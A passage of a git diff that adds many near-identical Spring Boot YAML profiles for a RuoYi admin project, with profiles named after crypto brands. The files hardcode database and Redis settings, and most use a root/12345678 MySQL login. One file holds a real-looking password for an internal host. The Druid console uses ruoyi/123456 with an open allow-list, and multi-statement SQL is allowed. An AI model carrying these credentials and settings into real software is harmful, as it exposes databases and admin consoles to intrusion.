配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-coinmarketcap.yml b/ruoyi-admin/src/main/resources/application-coinmarketcap.yml new file mode 100644 index 0000000..d485e33 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-coinmarketcap.yml @@ -0,0 +1,96 @@ +app: + name: coinmarketcap +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9003 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/coinmarketcap?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-coinsexpto.yml b/ruoyi-admin/src/main/resources/application-coinsexpto.yml new file mode 100644 index 0000000..921aef6 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-coinsexpto.yml @@ -0,0 +1,95 @@ +app: + name: coinsexpto +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/coinsexpto?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-das.yml b/ruoyi-admin/src/main/resources/application-das.yml new file mode 100644 index 0000000..0add0ba --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-das.yml @@ -0,0 +1,95 @@ +app: + name: das +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/das?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-dentcoin.yml b/ruoyi-admin/src/main/resources/application-dentcoin.yml new file mode 100644 index 0000000..3928125 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-dentcoin.yml @@ -0,0 +1,96 @@ +app: + name: dentcoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/dentcoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-dev-new.yml b/ruoyi-admin/src/main/resources/application-dev-new.yml new file mode 100644 index 0000000..e1fed7a --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-dev-new.yml @@ -0,0 +1,95 @@ +app: + name: test2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8082 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/echo2.1?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-dev.yml b/ruoyi-admin/src/main/resources/application-dev.yml new file mode 100644 index 0000000..2e130fd --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-dev.yml @@ -0,0 +1,99 @@ +app: + name: test +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8080 +# 数据源配置 +spring: + # redis 配置 + redis: + # 连接超时 毫秒 + connectTimeout: 1800 + # 地址 + host: 127.0.0.1 + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + #password: 123d3ggf2 + password: + # 连接超时时间 + timeout: 60s + jedis: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://192.168.66.92:3306/tbecho?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: tbecho + password: sen6CZWtpBcXfncJ + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn diff --git a/ruoyi-admin/src/main/resources/application-dex.yml b/ruoyi-admin/src/main/resources/application-dex.yml new file mode 100644 index 0000000..3ddf71e --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-dex.yml @@ -0,0 +1,95 @@ +app: + name: dex +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/dex?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-ebc.yml b/ruoyi-admin/src/main/resources/application-ebc.yml new file mode 100644 index 0000000..7a23f7a --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-ebc.yml @@ -0,0 +1,96 @@ +app: + name: ebc +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/ebc?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-etfinex.yml b/ruoyi-admin/src/main/resources/application-etfinex.yml new file mode 100644 index 0000000..6c14a19 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-etfinex.yml @@ -0,0 +1,95 @@ +app: + name: etfinex +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/etfinex?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-fx.yml b/ruoyi-admin/src/main/resources/application-fx.yml new file mode 100644 index 0000000..4869a0a --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-fx.yml @@ -0,0 +1,95 @@ +app: + name: fx +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/fx?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-gatedefi.yml b/ruoyi-admin/src/main/resources/application-gatedefi.yml new file mode 100644 index 0000000..4dee02d --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-gatedefi.yml @@ -0,0 +1,95 @@ +app: + name: gatedefi +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gatedefi?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-gemini2.yml b/ruoyi-admin/src/main/resources/application-gemini2.yml new file mode 100644 index 0000000..0729460 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-gemini2.yml @@ -0,0 +1,96 @@ +app: + name: gemini +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gemini?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-gmdoin.yml b/ruoyi-admin/src/main/resources/application-gmdoin.yml new file mode 100644 index 0000000..71186ff --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-gmdoin.yml @@ -0,0 +1,96 @@ +app: + name: gmdoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: 